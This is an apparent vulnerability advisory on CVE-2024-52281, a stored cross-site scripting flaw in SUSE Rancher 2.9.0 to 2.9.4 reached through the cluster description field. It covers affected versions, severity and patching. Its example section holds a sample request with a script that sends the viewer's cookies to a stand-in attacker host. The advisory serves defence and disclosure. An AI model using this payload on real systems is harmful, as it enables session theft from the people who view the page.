CVE-2024-52281: Stored XSS Vulnerability in SUSE rancher

Overview

A newly discovered vulnerability, CVE-2024-52281, poses a significant threat to users of SUSE rancher versions from 2.9.0 to 2.9.4. This vulnerability, if exploited, can allow a malicious actor to perform a Stored Cross-Site Scripting (Stored XSS) attack through the cluster description field. This could have severe implications, potentially leading to system compromise or data leakage. As cybersecurity threats become more sophisticated, it’s essential to understand and mitigate such vulnerabilities effectively.

Vulnerability Summary

CVE ID: CVE-2024-52281
Severity: High (8.9 CVSS Score)
Attack Vector: Web-based
Privileges Required: None
User Interaction: Required
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

SUSE rancher | 2.9.0 to 2.9.4

How the Exploit Works

The vulnerability stems from improper neutralization of user input during the web page generation process. An attacker can exploit this by injecting a malicious script into the cluster description field. When this manipulated data is read back from the server and rendered on a web page, the malicious script is executed in the victim’s browser. This constitutes a Stored XSS attack, where the malicious script is permanently stored on the target servers, and can affect any user who views the relevant page.

Conceptual Example Code

Here’s a hypothetical example of how the vulnerability might be exploited:

POST /updateCluster HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"cluster_description": "<script>new Image().src='http://attacker.com/steal.php?cookie='+document.cookie;</script>"
}

In this example, a malicious actor sends a POST request to the `/updateCluster` endpoint with a payload containing a script in the `cluster_description` field. This script, when rendered on a web page, would send the cookies of the user viewing the page to the attacker’s server.

Mitigation Guidance

Users are strongly advised to apply the vendor patch to mitigate this vulnerability. Those who are unable to apply the patch can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary measure. However, these are not long-term solutions, and applying the vendor patch remains the most effective way to protect against this vulnerability.